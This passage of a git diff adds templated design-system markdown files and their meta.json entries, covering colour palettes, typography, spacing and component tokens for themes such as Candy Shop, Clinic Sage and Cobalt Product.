8px + md: 16px + lg: 32px +components: + button-primary: + backgroundColor: "{colors.tertiary}" + textColor: "{colors.on-primary}" + rounded: "{rounded.md}" + padding: 12px 20px + card: + backgroundColor: "{colors.surface}" + textColor: "{colors.primary}" + rounded: "{rounded.lg}" + padding: 24px +--- +## Overview + +A collegiate brand palette: deep maroon, oatmeal surfaces, crest gold accent. + +## Colors + +The palette is built around high-contrast neutrals and a single accent that drives interaction. + +- **Primary (`#2E0D12`):** Headlines and core text. +- **Secondary (`#8A6E73`):** Borders, captions, and metadata. +- **Tertiary (`#B8842C`):** The sole driver for interaction. Reserve it. +- **Neutral (`#F1EADF`):** The page foundation. + +## Typography + +- **display:** Merriweather 4.25rem +- **h1:** Merriweather 2.3rem +- **body:** Merriweather 1rem +- **label:** Inter 0.72rem + +## Do's and Don'ts + +- **Do** use Tertiary for exactly one action per screen. +- **Do** let Neutral carry the composition — negative space is a feature. +- **Don't** introduce gradients. This system is flat on purpose. +- **Don't** mix Tertiary with alternate accents; the single-accent rule is load-bearing. diff --git a/imported-skills/designdotmd/designs/campus-collegiate.meta.json b/imported-skills/designdotmd/designs/campus-collegiate.meta.json new file mode 100644 index 0000000000000000000000000000000000000000..ad7b7aafd7f5d2412d0a5c52a6882455c7b6c21e --- /dev/null +++ b/imported-skills/designdotmd/designs/campus-collegiate.meta.json @@ -0,0 +1,4 @@ +{ + "id": "campus-collegiate", + "name": "Campus Collegiate" +} \ No newline at end of file diff --git a/imported-skills/designdotmd/designs/candy-shop.md b/imported-skills/designdotmd/designs/candy-shop.md new file mode 100644 index 0000000000000000000000000000000000000000..c760a5ebd45f2c9631cd26ae0b23e28e54b32858 --- /dev/null +++ b/imported-skills/designdotmd/designs/candy-shop.md @@ -0,0 +1,75 @@ +--- +version: alpha +name: Candy Shop +description: Bubble gum, cherry red, sugar rush. +colors: + primary: "#3C0D28" + secondary: "#B2578C" + tertiary: "#FF2D6E" + neutral: "#FFE9F2" + surface: "#FFFFFF" + on-primary: "#FFFFFF" +typography: + display: + fontFamily: Fraunces + fontSize: 4.5rem + fontWeight: 700 + letterSpacing: "-0.03em" + h1: + fontFamily: Fraunces + fontSize: 2.5rem + fontWeight: 700 + body: + fontFamily: Nunito + fontSize: 1rem + lineHeight: 1.6 + label: + fontFamily: Nunito + fontSize: 0.72rem + letterSpacing: "0.04em" +rounded: + sm: 14px + md: 24px + lg: 40px +spacing: + sm: 8px + md: 16px + lg: 32px +components: + button-primary: + backgroundColor: "{colors.tertiary}" + textColor: "{colors.on-primary}" + rounded: "{rounded.md}" + padding: 12px 20px + card: + backgroundColor: "{colors.surface}" + textColor: "{colors.primary}" + rounded: "{rounded.lg}" + padding: 24px +--- +## Overview + +Full-volume joy. Bubblegum pink, cherry red, rounded everything. Not for serious enterprise. + +## Colors + +The palette is built around high-contrast neutrals and a single accent that drives interaction. + +- **Primary (`#3C0D28`):** Headlines and core text. +- **Secondary (`#B2578C`):** Borders, captions, and metadata. +- **Tertiary (`#FF2D6E`):** The sole driver for interaction. Reserve it. +- **Neutral (`#FFE9F2`):** The page foundation. + +## Typography + +- **display:** Fraunces 4.5rem +- **h1:** Fraunces 2.5rem +- **body:** Nunito 1rem +- **label:** Nunito 0.72rem + +## Do's and Don'ts + +- **Do** use Tertiary for exactly one action per screen. +- **Do** let Neutral carry the composition — negative space is a feature. +- **Don't** introduce gradients. This system is flat on purpose. +- **Don't** mix Tertiary with alternate accents; the single-accent rule is load-bearing. diff --git a/imported-skills/designdotmd/designs/candy-shop.meta.json b/imported-skills/designdotmd/designs/candy-shop.meta.json new file mode 100644 index 0000000000000000000000000000000000000000..35a11ef9fdf81be9cd37ff69326fa2d8305d5ea2 --- /dev/null +++ b/imported-skills/designdotmd/designs/candy-shop.meta.json @@ -0,0 +1,4 @@ +{ + "id": "candy-shop", + "name": "Candy Shop" +} \ No newline at end of file diff --git a/imported-skills/designdotmd/designs/candy-tap.md b/imported-skills/designdotmd/designs/candy-tap.md new file mode 100644 index 0000000000000000000000000000000000000000..e5f05f496aba3fc12ba18a939a30f1fca6fe8935 --- /dev/null +++ b/imported-skills/designdotmd/designs/candy-tap.md @@ -0,0 +1,76 @@ +--- +version: alpha +name: Candy Tap +description: Soft gradients, chewy taps, confetti everywhere. +colors: + primary: "#3A1F5C" + secondary: "#B794D6" + tertiary: "#FF5AAD" + neutral: "#FFF5FB" + surface: "#FFFFFF" + on-primary: "#FFFFFF" +typography: + display: + fontFamily: Nunito + fontSize: 4rem + fontWeight: 900 + letterSpacing: "-0.02em" + h1: + fontFamily: Nunito + fontSize: 2rem + fontWeight: 800 + body: + fontFamily: Nunito + fontSize: 1rem + lineHeight: 1.55 + label: + fontFamily: Nunito + fontSize: 0.78rem + fontWeight: 700 + letterSpacing: "0.04em" +rounded: + sm: 12px + md: 20px + lg: 32px +spacing: + sm: 8px + md: 16px + lg: 32px +components: + button-primary: + backgroundColor: "{colors.tertiary}" + textColor: "{colors.on-primary}" + rounded: "{rounded.md}" + padding: 12px 20px + card: + backgroundColor: "{colors.surface}" + textColor: "{colors.primary}" + rounded: "{rounded.lg}" + padding: 24px +--- +## Overview + +A saccharine puzzle-game palette. Milky pastels with one juicy magenta for combos. + +## Colors + +The palette is built around high-contrast neutrals and a single accent that drives interaction. + +- **Primary (`#3A1F5C`):** Headlines and core text. +- **Secondary (`#B794D6`):** Borders, captions, and metadata. +- **Tertiary (`#FF5AAD`):** The sole driver for interaction. Reserve it. +- **Neutral (`#FFF5FB`):** The page foundation. + +## Typography + +- **display:** Nunito 4rem +- **h1:** Nunito 2rem +- **body:** Nunito 1rem +- **label:** Nunito 0.78rem + +## Do's and Don'ts + +- **Do** use Tertiary for exactly one action per screen. +- **Do** let Neutral carry the composition — negative space is a feature. +- **Don't** introduce gradients. This system is flat on purpose. +- **Don't** mix Tertiary with alternate accents; the single-accent rule is load-bearing. diff --git a/imported-skills/designdotmd/designs/candy-tap.meta.json b/imported-skills/designdotmd/designs/candy-tap.meta.json new file mode 100644 index 0000000000000000000000000000000000000000..0f6880d3b96caff6e1872affaf9d1fb1d01ca1d4 --- /dev/null +++ b/imported-skills/designdotmd/designs/candy-tap.meta.json @@ -0,0 +1,4 @@ +{ + "id": "candy-tap", + "name": "Candy Tap" +} \ No newline at end of file diff --git a/imported-skills/designdotmd/designs/ceramics-kiln.md b/imported-skills/designdotmd/designs/ceramics-kiln.md new file mode 100644 index 0000000000000000000000000000000000000000..c00ac557a7388122eb772ee4c5ffb93f38148d98 --- /dev/null +++ b/imported-skills/designdotmd/designs/ceramics-kiln.md @@ -0,0 +1,75 @@ +--- +version: alpha +name: Ceramics Kiln +description: Wood-fired ceramics: clay beige, ash grey, iron glaze. +colors: + primary: "#1E1711" + secondary: "#7E7466" + tertiary: "#A8442A" + neutral: "#EADDC8" + surface: "#F3E7D1" + on-primary: "#F3E7D1" +typography: + display: + fontFamily: Caveat + fontSize: 5rem + fontWeight: 700 + letterSpacing: "-0.01em" + h1: + fontFamily: Cormorant Garamond + fontSize: 2.4rem + fontWeight: 600 + body: + fontFamily: Lora + fontSize: 1rem + lineHeight: 1.7 + label: + fontFamily: Lora + fontSize: 0.74rem + letterSpacing: "0.12em" +rounded: + sm: 6px + md: 12px + lg: 22px +spacing: + sm: 8px + md: 16px + lg: 32px +components: + button-primary: + backgroundColor: "{colors.tertiary}" + textColor: "{colors.on-primary}" + rounded: "{rounded.md}" + padding: 12px 20px + card: + backgroundColor: "{colors.surface}" + textColor: "{colors.primary}" + rounded: "{rounded.lg}" + padding: 24px +--- +## Overview + +A ceramics-studio palette: clay beige paper, iron-glaze accent, hand-lettered feel. + +## Colors + +The palette is built around high-contrast neutrals and a single accent that drives interaction. + +- **Primary (`#1E1711`):** Headlines and core text. +- **Secondary (`#7E7466`):** Borders, captions, and metadata. +- **Tertiary (`#A8442A`):** The sole driver for interaction. Reserve it. +- **Neutral (`#EADDC8`):** The page foundation. + +## Typography + +- **display:** Caveat 5rem +- **h1:** Cormorant Garamond 2.4rem +- **body:** Lora 1rem +- **label:** Lora 0.74rem + +## Do's and Don'ts + +- **Do** use Tertiary for exactly one action per screen. +- **Do** let Neutral carry the composition — negative space is a feature. +- **Don't** introduce gradients. This system is flat on purpose. +- **Don't** mix Tertiary with alternate accents; the single-accent rule is load-bearing. diff --git a/imported-skills/designdotmd/designs/ceramics-kiln.meta.json b/imported-skills/designdotmd/designs/ceramics-kiln.meta.json new file mode 100644 index 0000000000000000000000000000000000000000..b445db397a2edc5651f788fe6fcab8829fe02fc6 --- /dev/null +++ b/imported-skills/designdotmd/designs/ceramics-kiln.meta.json @@ -0,0 +1,4 @@ +{ + "id": "ceramics-kiln", + "name": "Ceramics Kiln" +} \ No newline at end of file diff --git a/imported-skills/designdotmd/designs/chapel-stained.md b/imported-skills/designdotmd/designs/chapel-stained.md new file mode 100644 index 0000000000000000000000000000000000000000..f8dc7f0bccd24b0ca7b77881ab763e38ad404dcc --- /dev/null +++ b/imported-skills/designdotmd/designs/chapel-stained.md @@ -0,0 +1,75 @@ +--- +version: alpha +name: Chapel Stained +description: Chapel hymnal: stained-glass blue, gilt, parchment. +colors: + primary: "#F3E9CC" + secondary: "#A89478" + tertiary: "#E2B44C" + neutral: "#0F1E4A" + surface: "#152658" + on-primary: "#F3E9CC" +typography: + display: + fontFamily: Cormorant Garamond + fontSize: 5rem + fontWeight: 500 + letterSpacing: "-0.015em" + h1: + fontFamily: Cormorant Garamond + fontSize: 2.5rem + fontWeight: 500 + body: + fontFamily: EB Garamond + fontSize: 1.05rem + lineHeight: 1.75 + label: + fontFamily: EB Garamond + fontSize: 0.78rem + letterSpacing: "0.22em" +rounded: + sm: 2px + md: 4px + lg: 6px +spacing: + sm: 8px + md: 16px + lg: 32px +components: + button-primary: + backgroundColor: "{colors.tertiary}" + textColor: "{colors.on-primary}" + rounded: "{rounded.md}" + padding: 12px 20px + card: + backgroundColor: "{colors.surface}" + textColor: "{colors.primary}" + rounded: "{rounded.lg}" + padding: 24px +--- +## Overview + +A chapel-inspired palette: stained-glass blue surface, gilt accent, parchment body. + +## Colors + +The palette is built around high-contrast neutrals and a single accent that drives interaction. + +- **Primary (`#F3E9CC`):** Headlines and core text. +- **Secondary (`#A89478`):** Borders, captions, and metadata. +- **Tertiary (`#E2B44C`):** The sole driver for interaction. Reserve it. +- **Neutral (`#0F1E4A`):** The page foundation. + +## Typography + +- **display:** Cormorant Garamond 5rem +- **h1:** Cormorant Garamond 2.5rem +- **body:** EB Garamond 1.05rem +- **label:** EB Garamond 0.78rem + +## Do's and Don'ts + +- **Do** use Tertiary for exactly one action per screen. +- **Do** let Neutral carry the composition — negative space is a feature. +- **Don't** introduce gradients. This system is flat on purpose. +- **Don't** mix Tertiary with alternate accents; the single-accent rule is load-bearing. diff --git a/imported-skills/designdotmd/designs/chapel-stained.meta.json b/imported-skills/designdotmd/designs/chapel-stained.meta.json new file mode 100644 index 0000000000000000000000000000000000000000..cf592d24b830ad0585ad6d6b06bb08105499bdec --- /dev/null +++ b/imported-skills/designdotmd/designs/chapel-stained.meta.json @@ -0,0 +1,4 @@ +{ + "id": "chapel-stained", + "name": "Chapel Stained" +} \ No newline at end of file diff --git a/imported-skills/designdotmd/designs/chat-app-plum.md b/imported-skills/designdotmd/designs/chat-app-plum.md new file mode 100644 index 0000000000000000000000000000000000000000..33f7d6ac422344a777b8d21bc32d3f948ee5e431 --- /dev/null +++ b/imported-skills/designdotmd/designs/chat-app-plum.md @@ -0,0 +1,76 @@ +--- +version: alpha +name: Chat App Plum +description: Messaging: plum bubbles, chat-pop, read receipts. +colors: + primary: "#23132E" + secondary: "#8672A0" + tertiary: "#7B44C7" + neutral: "#F4EFFA" + surface: "#FFFFFF" + on-primary: "#FFFFFF" +typography: + display: + fontFamily: Inter + fontSize: 3.5rem + fontWeight: 700 + letterSpacing: "-0.03em" + h1: + fontFamily: Inter + fontSize: 1.9rem + fontWeight: 700 + body: + fontFamily: Inter + fontSize: 0.95rem + lineHeight: 1.55 + label: + fontFamily: Inter + fontSize: 0.72rem + fontWeight: 600 + letterSpacing: "0.04em" +rounded: + sm: 10px + md: 18px + lg: 28px +spacing: + sm: 8px + md: 16px + lg: 32px +components: + button-primary: + backgroundColor: "{colors.tertiary}" + textColor: "{colors.on-primary}" + rounded: "{rounded.md}" + padding: 12px 20px + card: + backgroundColor: "{colors.surface}" + textColor: "{colors.primary}" + rounded: "{rounded.lg}" + padding: 24px +--- +## Overview + +A chat-app system: plum primary bubbles, soft neutral, read-state micro-type. + +## Colors + +The palette is built around high-contrast neutrals and a single accent that drives interaction. + +- **Primary (`#23132E`):** Headlines and core text. +- **Secondary (`#8672A0`):** Borders, captions, and metadata. +- **Tertiary (`#7B44C7`):** The sole driver for interaction. Reserve it. +- **Neutral (`#F4EFFA`):** The page foundation. + +## Typography + +- **display:** Inter 3.5rem +- **h1:** Inter 1.9rem +- **body:** Inter 0.95rem +- **label:** Inter 0.72rem + +## Do's and Don'ts + +- **Do** use Tertiary for exactly one action per screen. +- **Do** let Neutral carry the composition — negative space is a feature. +- **Don't** introduce gradients. This system is flat on purpose. +- **Don't** mix Tertiary with alternate accents; the single-accent rule is load-bearing. diff --git a/imported-skills/designdotmd/designs/chat-app-plum.meta.json b/imported-skills/designdotmd/designs/chat-app-plum.meta.json new file mode 100644 index 0000000000000000000000000000000000000000..60d9046e454d0b76000f9153b230e7df352cc383 --- /dev/null +++ b/imported-skills/designdotmd/designs/chat-app-plum.meta.json @@ -0,0 +1,4 @@ +{ + "id": "chat-app-plum", + "name": "Chat App Plum" +} \ No newline at end of file diff --git a/imported-skills/designdotmd/designs/civic-register.md b/imported-skills/designdotmd/designs/civic-register.md new file mode 100644 index 0000000000000000000000000000000000000000..fdd4c67352b8bcae48dd4425b8ba6dbbc09f044f --- /dev/null +++ b/imported-skills/designdotmd/designs/civic-register.md @@ -0,0 +1,76 @@ +--- +version: alpha +name: Civic Register +description: Civic site: gov navy, paper beige, official serif. +colors: + primary: "#0A2540" + secondary: "#5B6E81" + tertiary: "#B91D1D" + neutral: "#F2EFE6" + surface: "#FBF8F0" + on-primary: "#FBF8F0" +typography: + display: + fontFamily: Source Serif 4 + fontSize: 3.75rem + fontWeight: 600 + letterSpacing: "-0.01em" + h1: + fontFamily: Source Serif 4 + fontSize: 2rem + fontWeight: 600 + body: + fontFamily: Source Sans 3 + fontSize: 1rem + lineHeight: 1.65 + label: + fontFamily: Source Sans 3 + fontSize: 0.74rem + fontWeight: 600 + letterSpacing: "0.06em" +rounded: + sm: 2px + md: 4px + lg: 6px +spacing: + sm: 8px + md: 16px + lg: 32px +components: + button-primary: + backgroundColor: "{colors.tertiary}" + textColor: "{colors.on-primary}" + rounded: "{rounded.md}" + padding: 12px 20px + card: + backgroundColor: "{colors.surface}" + textColor: "{colors.primary}" + rounded: "{rounded.lg}" + padding: 24px +--- +## Overview + +A civic/government palette: official navy, paper beige, accessible serif and structured tables. + +## Colors + +The palette is built around high-contrast neutrals and a single accent that drives interaction. + +- **Primary (`#0A2540`):** Headlines and core text. +- **Secondary (`#5B6E81`):** Borders, captions, and metadata. +- **Tertiary (`#B91D1D`):** The sole driver for interaction. Reserve it. +- **Neutral (`#F2EFE6`):** The page foundation. + +## Typography + +- **display:** Source Serif 4 3.75rem +- **h1:** Source Serif 4 2rem +- **body:** Source Sans 3 1rem +- **label:** Source Sans 3 0.74rem + +## Do's and Don'ts + +- **Do** use Tertiary for exactly one action per screen. +- **Do** let Neutral carry the composition — negative space is a feature. +- **Don't** introduce gradients. This system is flat on purpose. +- **Don't** mix Tertiary with alternate accents; the single-accent rule is load-bearing. diff --git a/imported-skills/designdotmd/designs/civic-register.meta.json b/imported-skills/designdotmd/designs/civic-register.meta.json new file mode 100644 index 0000000000000000000000000000000000000000..c1e90a9a09b07eb989061f6df6d27c1391360d5a --- /dev/null +++ b/imported-skills/designdotmd/designs/civic-register.meta.json @@ -0,0 +1,4 @@ +{ + "id": "civic-register", + "name": "Civic Register" +} \ No newline at end of file diff --git a/imported-skills/designdotmd/designs/classroom-paper.md b/imported-skills/designdotmd/designs/classroom-paper.md new file mode 100644 index 0000000000000000000000000000000000000000..b9074484e92ccd915697e18d013360cef063ffd3 --- /dev/null +++ b/imported-skills/designdotmd/designs/classroom-paper.md @@ -0,0 +1,75 @@ +--- +version: alpha +name: Classroom Paper +description: Composition notebook, red-line margin, graphite. +colors: + primary: "#22201D" + secondary: "#7B766D" + tertiary: "#C4251C" + neutral: "#F7F1E3" + surface: "#FFFBEF" + on-primary: "#FFFBEF" +typography: + display: + fontFamily: Caveat + fontSize: 4rem + fontWeight: 700 + h1: + fontFamily: Source Serif 4 + fontSize: 2.25rem + fontWeight: 600 + body: + fontFamily: Source Serif 4 + fontSize: 1.05rem + lineHeight: 1.7 + label: + fontFamily: Source Sans 3 + fontSize: 0.75rem + fontWeight: 600 + letterSpacing: "0.08em" +rounded: + sm: 4px + md: 8px + lg: 14px +spacing: + sm: 8px + md: 16px + lg: 32px +components: + button-primary: + backgroundColor: "{colors.tertiary}" + textColor: "{colors.on-primary}" + rounded: "{rounded.md}" + padding: 12px 20px + card: + backgroundColor: "{colors.surface}" + textColor: "{colors.primary}" + rounded: "{rounded.lg}" + padding: 24px +--- +## Overview + +A learning-platform system that feels like a good notebook. + +## Colors + +The palette is built around high-contrast neutrals and a single accent that drives interaction. + +- **Primary (`#22201D`):** Headlines and core text. +- **Secondary (`#7B766D`):** Borders, captions, and metadata. +- **Tertiary (`#C4251C`):** The sole driver for interaction. Reserve it. +- **Neutral (`#F7F1E3`):** The page foundation. + +## Typography + +- **display:** Caveat 4rem +- **h1:** Source Serif 4 2.25rem +- **body:** Source Serif 4 1.05rem +- **label:** Source Sans 3 0.75rem + +## Do's and Don'ts + +- **Do** use Tertiary for exactly one action per screen. +- **Do** let Neutral carry the composition — negative space is a feature. +- **Don't** introduce gradients. This system is flat on purpose. +- **Don't** mix Tertiary with alternate accents; the single-accent rule is load-bearing. diff --git a/imported-skills/designdotmd/designs/classroom-paper.meta.json b/imported-skills/designdotmd/designs/classroom-paper.meta.json new file mode 100644 index 0000000000000000000000000000000000000000..34cb14acf890abf7d154e155adda06c3b155a9d1 --- /dev/null +++ b/imported-skills/designdotmd/designs/classroom-paper.meta.json @@ -0,0 +1,4 @@ +{ + "id": "classroom-paper", + "name": "Classroom Paper" +} \ No newline at end of file diff --git a/imported-skills/designdotmd/designs/climate-atlas.md b/imported-skills/designdotmd/designs/climate-atlas.md new file mode 100644 index 0000000000000000000000000000000000000000..9c1eeb1300728c366637dbcd09e326cd793d7ac8 --- /dev/null +++ b/imported-skills/designdotmd/designs/climate-atlas.md @@ -0,0 +1,75 @@ +--- +version: alpha +name: Climate Atlas +description: Climate data: chart green, heatmap amber, atlas paper. +colors: + primary: "#142018" + secondary: "#627266" + tertiary: "#E09A3E" + neutral: "#F0EADC" + surface: "#F9F4E6" + on-primary: "#F9F4E6" +typography: + display: + fontFamily: Work Sans + fontSize: 3.75rem + fontWeight: 600 + letterSpacing: "-0.02em" + h1: + fontFamily: Work Sans + fontSize: 2rem + fontWeight: 600 + body: + fontFamily: Work Sans + fontSize: 0.98rem + lineHeight: 1.6 + label: + fontFamily: IBM Plex Mono + fontSize: 0.72rem + letterSpacing: "0.08em" +rounded: + sm: 3px + md: 6px + lg: 10px +spacing: + sm: 8px + md: 16px + lg: 32px +components: + button-primary: + backgroundColor: "{colors.tertiary}" + textColor: "{colors.on-primary}" + rounded: "{rounded.md}" + padding: 12px 20px + card: + backgroundColor: "{colors.surface}" + textColor: "{colors.primary}" + rounded: "{rounded.lg}" + padding: 24px +--- +## Overview + +A climate-dashboard palette: atlas paper surface, chart greens, amber heat anomalies. + +## Colors + +The palette is built around high-contrast neutrals and a single accent that drives interaction. + +- **Primary (`#142018`):** Headlines and core text. +- **Secondary (`#627266`):** Borders, captions, and metadata. +- **Tertiary (`#E09A3E`):** The sole driver for interaction. Reserve it. +- **Neutral (`#F0EADC`):** The page foundation. + +## Typography + +- **display:** Work Sans 3.75rem +- **h1:** Work Sans 2rem +- **body:** Work Sans 0.98rem +- **label:** IBM Plex Mono 0.72rem + +## Do's and Don'ts + +- **Do** use Tertiary for exactly one action per screen. +- **Do** let Neutral carry the composition — negative space is a feature. +- **Don't** introduce gradients. This system is flat on purpose. +- **Don't** mix Tertiary with alternate accents; the single-accent rule is load-bearing. diff --git a/imported-skills/designdotmd/designs/climate-atlas.meta.json b/imported-skills/designdotmd/designs/climate-atlas.meta.json new file mode 100644 index 0000000000000000000000000000000000000000..c9af12294e997b5255a979338ff2d266a597eadc --- /dev/null +++ b/imported-skills/designdotmd/designs/climate-atlas.meta.json @@ -0,0 +1,4 @@ +{ + "id": "climate-atlas", + "name": "Climate Atlas" +} \ No newline at end of file diff --git a/imported-skills/designdotmd/designs/clinic-sage.md b/imported-skills/designdotmd/designs/clinic-sage.md new file mode 100644 index 0000000000000000000000000000000000000000..964b248d059f84e855bd3fd4128e24f683aa755e --- /dev/null +++ b/imported-skills/designdotmd/designs/clinic-sage.md @@ -0,0 +1,76 @@ +--- +version: alpha +name: Clinic Sage +description: Clinical calm. Sage greens, paper white, zero alarm. +colors: + primary: "#1B3A2E" + secondary: "#7A8F85" + tertiary: "#4E8B6A" + neutral: "#F4F7F4" + surface: "#FFFFFF" + on-primary: "#FFFFFF" +typography: + display: + fontFamily: DM Sans + fontSize: 3.5rem + fontWeight: 500 + letterSpacing: "-0.02em" + h1: + fontFamily: DM Sans + fontSize: 2rem + fontWeight: 500 + body: + fontFamily: DM Sans + fontSize: 1rem + lineHeight: 1.65 + label: + fontFamily: DM Sans + fontSize: 0.75rem + fontWeight: 500 + letterSpacing: "0.06em" +rounded: + sm: 6px + md: 10px + lg: 16px +spacing: + sm: 8px + md: 16px + lg: 32px +components: + button-primary: + backgroundColor: "{colors.tertiary}" + textColor: "{colors.on-primary}" + rounded: "{rounded.md}" + padding: 12px 20px + card: + backgroundColor: "{colors.surface}" + textColor: "{colors.primary}" + rounded: "{rounded.lg}" + padding: 24px +--- +## Overview + +A patient-portal palette designed to lower blood pressure. + +## Colors + +The palette is built around high-contrast neutrals and a single accent that drives interaction. + +- **Primary (`#1B3A2E`):** Headlines and core text. +- **Secondary (`#7A8F85`):** Borders, captions, and metadata. +- **Tertiary (`#4E8B6A`):** The sole driver for interaction. Reserve it. +- **Neutral (`#F4F7F4`):** The page foundation. + +## Typography + +- **display:** DM Sans 3.5rem +- **h1:** DM Sans 2rem +- **body:** DM Sans 1rem +- **label:** DM Sans 0.75rem + +## Do's and Don'ts + +- **Do** use Tertiary for exactly one action per screen. +- **Do** let Neutral carry the composition — negative space is a feature. +- **Don't** introduce gradients. This system is flat on purpose. +- **Don't** mix Tertiary with alternate accents; the single-accent rule is load-bearing. diff --git a/imported-skills/designdotmd/designs/clinic-sage.meta.json b/imported-skills/designdotmd/designs/clinic-sage.meta.json new file mode 100644 index 0000000000000000000000000000000000000000..0d928b567a0a41fcdec7ce04d7fe469199c20d49 --- /dev/null +++ b/imported-skills/designdotmd/designs/clinic-sage.meta.json @@ -0,0 +1,4 @@ +{ + "id": "clinic-sage", + "name": "Clinic Sage" +} \ No newline at end of file diff --git a/imported-skills/designdotmd/designs/clinical.md b/imported-skills/designdotmd/designs/clinical.md new file mode 100644 index 0000000000000000000000000000000000000000..5dac7cccdfecd4a5d94541c974edf12edd17fd4c --- /dev/null +++ b/imported-skills/designdotmd/designs/clinical.md @@ -0,0 +1,75 @@ +--- +version: alpha +name: Clinical +description: Hospital-grade legibility, but warm. +colors: + primary: "#0F2A3B" + secondary: "#4F6B7C" + tertiary: "#0E9F8E" + neutral: "#F1F5F7" + surface: "#FFFFFF" + on-primary: "#FFFFFF" +typography: + display: + fontFamily: IBM Plex Sans + fontSize: 3.5rem + fontWeight: 600 + letterSpacing: "-0.02em" + h1: + fontFamily: IBM Plex Sans + fontSize: 2rem + fontWeight: 600 + body: + fontFamily: IBM Plex Sans + fontSize: 0.95rem + lineHeight: 1.6 + label: + fontFamily: IBM Plex Mono + fontSize: 0.72rem + letterSpacing: "0.04em" +rounded: + sm: 4px + md: 8px + lg: 12px +spacing: + sm: 8px + md: 16px + lg: 32px +components: + button-primary: + backgroundColor: "{colors.tertiary}" + textColor: "{colors.on-primary}" + rounded: "{rounded.md}" + padding: 12px 20px + card: + backgroundColor: "{colors.surface}" + textColor: "{colors.primary}" + rounded: "{rounded.lg}" + padding: 24px +--- +## Overview + +Designed for healthcare and data-heavy interfaces. Neutral greys, thoughtful teal accent, extreme clarity at all sizes. + +## Colors + +The palette is built around high-contrast neutrals and a single accent that drives interaction. + +- **Primary (`#0F2A3B`):** Headlines and core text. +- **Secondary (`#4F6B7C`):** Borders, captions, and metadata. +- **Tertiary (`#0E9F8E`):** The sole driver for interaction. Reserve it. +- **Neutral (`#F1F5F7`):** The page foundation. + +## Typography + +- **display:** IBM Plex Sans 3.5rem +- **h1:** IBM Plex Sans 2rem +- **body:** IBM Plex Sans 0.95rem +- **label:** IBM Plex Mono 0.72rem + +## Do's and Don'ts + +- **Do** use Tertiary for exactly one action per screen. +- **Do** let Neutral carry the composition — negative space is a feature. +- **Don't** introduce gradients. This system is flat on purpose. +- **Don't** mix Tertiary with alternate accents; the single-accent rule is load-bearing. diff --git a/imported-skills/designdotmd/designs/clinical.meta.json b/imported-skills/designdotmd/designs/clinical.meta.json new file mode 100644 index 0000000000000000000000000000000000000000..fa0f3f4f6f8b53fb514e50c4d526efbf9be4d4ed --- /dev/null +++ b/imported-skills/designdotmd/designs/clinical.meta.json @@ -0,0 +1,4 @@ +{ + "id": "clinical", + "name": "Clinical" +} \ No newline at end of file diff --git a/imported-skills/designdotmd/designs/cobalt-product.md b/imported-skills/designdotmd/designs/cobalt-product.md new file mode 100644 index 0000000000000000000000000000000000000000..97078e18c68eda14b573a133ce529f674c6a1168 --- /dev/null +++ b/imported-skills/designdotmd/designs/cobalt-product.md @@ -0,0 +1,76 @@ +--- +version: alpha +name: Cobalt Product +description: A shippable SaaS palette with spine. +colors: + primary: "#111827" + secondary: "#6B7280" + tertiary: "#2563EB" + neutral: "#F9FAFB" + surface: "#FFFFFF" + on-primary: "#FFFFFF" +typography: + display: + fontFamily: Inter + fontSize: 3.5rem + fontWeight: 700 + letterSpacing: "-0.03em" + h1: + fontFamily: Inter + fontSize: 2rem + fontWeight: 700 + letterSpacing: "-0.02em" + body: + fontFamily: Inter + fontSize: 0.95rem + lineHeight: 1.55 + label: + fontFamily: Inter + fontSize: 0.75rem + letterSpacing: "0.02em" +rounded: + sm: 6px + md: 8px + lg: 12px +spacing: + sm: 8px + md: 16px + lg: 32px +components: + button-primary: + backgroundColor: "{colors.tertiary}" + textColor: "{colors.on-primary}" + rounded: "{rounded.md}" + padding: 12px 20px + card: + backgroundColor: "{colors.surface}" + textColor: "{colors.primary}" + rounded: "{rounded.lg}" + padding: 24px +--- +## Overview + +Built for dashboards. Cool grey scaffolding, cobalt action, strong type hierarchy, no decoration. + +## Colors + +The palette is built around high-contrast neutrals and a single accent that drives interaction. + +- **Primary (`#111827`):** Headlines and core text. +- **Secondary (`#6B7280`):** Borders, captions, and metadata. +- **Tertiary (`#2563EB`):** The sole driver for interaction. Reserve it. +- **Neutral (`#F9FAFB`):** The page foundation. + +## Typography + +- **display:** Inter 3.5rem +- **h1:** Inter 2rem +- **body:** Inter 0.95rem +- **label:** Inter 0.75rem + +## Do's and Don'ts + +- **Do** use Tertiary for exactly one action per screen. +- **Do** let Neutral carry the composition — negative space is a feature. +- **Don't** introduce gradients. This system is flat on purpose. +- **Don't** mix Tertiary with alternate accents; the single-accent rule is load-bearing. diff --git a/imported-skills/designdotmd/designs/cobalt-product.meta.json b/imported-skills/designdotmd/designs/cobalt-product.meta.json new file mode 100644 index 0000000000000000000000000000000000000000..19eb812cf9efc27406fadd5be228445aa20f9efd --- /dev/null +++ b/imported-skills/designdotmd/designs/cobalt-product.meta.json @@ -0,0 +1,4 @@ +{ + "id": "cobalt-product", + "name": "Cobalt Product" +} \ No newline at end of file diff --git a/imported-skills/designdotmd/designs/coffee-roast.md b/imported-skills/designdotmd/designs/coffee-roast.md new file mode 100644 index 0000000000000000000000000000000000000000..2b8523b64f5bc99f67512bd8b7e1951816041815 --- /dev/null +++ b/imported-skills/designdotmd/designs/coffee-roast.md @@ -0,0 +1,76 @@ +--- +version: alpha +name: Coffee Roast +description: Third-wave roaster: espresso brown, kraft paper, latte. +colors: + primary: "#2B1810" + secondary: "#8A7260" + tertiary: "#D97742" + neutral: "#EBE0CE" + surface: "#F7EEDC" + on-primary: "#F7EEDC" +typography: + display: + fontFamily: Fraunces + fontSize: 4.5rem + fontWeight: 600 + letterSpacing: "-0.02em" + h1: + fontFamily: Fraunces + fontSize: 2.4rem + fontWeight: 600 + body: + fontFamily: Inter + fontSize: 0.98rem + lineHeight: 1.6 + label: + fontFamily: Inter + fontSize: 0.72rem + fontWeight: 600 + letterSpacing: "0.14em" +rounded: + sm: 4px + md: 8px + lg: 14px +spacing: + sm: 8px + md: 16px + lg: 32px +components: + button-primary: + backgroundColor: "{colors.tertiary}" + textColor: "{colors.on-primary}" + rounded: "{rounded.md}" + padding: 12px 20px + card: + backgroundColor: "{colors.surface}" + textColor: "{colors.primary}" + rounded: "{rounded.lg}" + padding: 24px +--- +## Overview + +A speciality-coffee system. + +## Colors + +The palette is built around high-contrast neutrals and a single accent that drives interaction. + +- **Primary (`#2B1810`):** Headlines and core text. +- **Secondary (`#8A7260`):** Borders, captions, and metadata. +- **Tertiary (`#D97742`):** The sole driver for interaction. Reserve it. +- **Neutral (`#EBE0CE`):** The page foundation. + +## Typography + +- **display:** 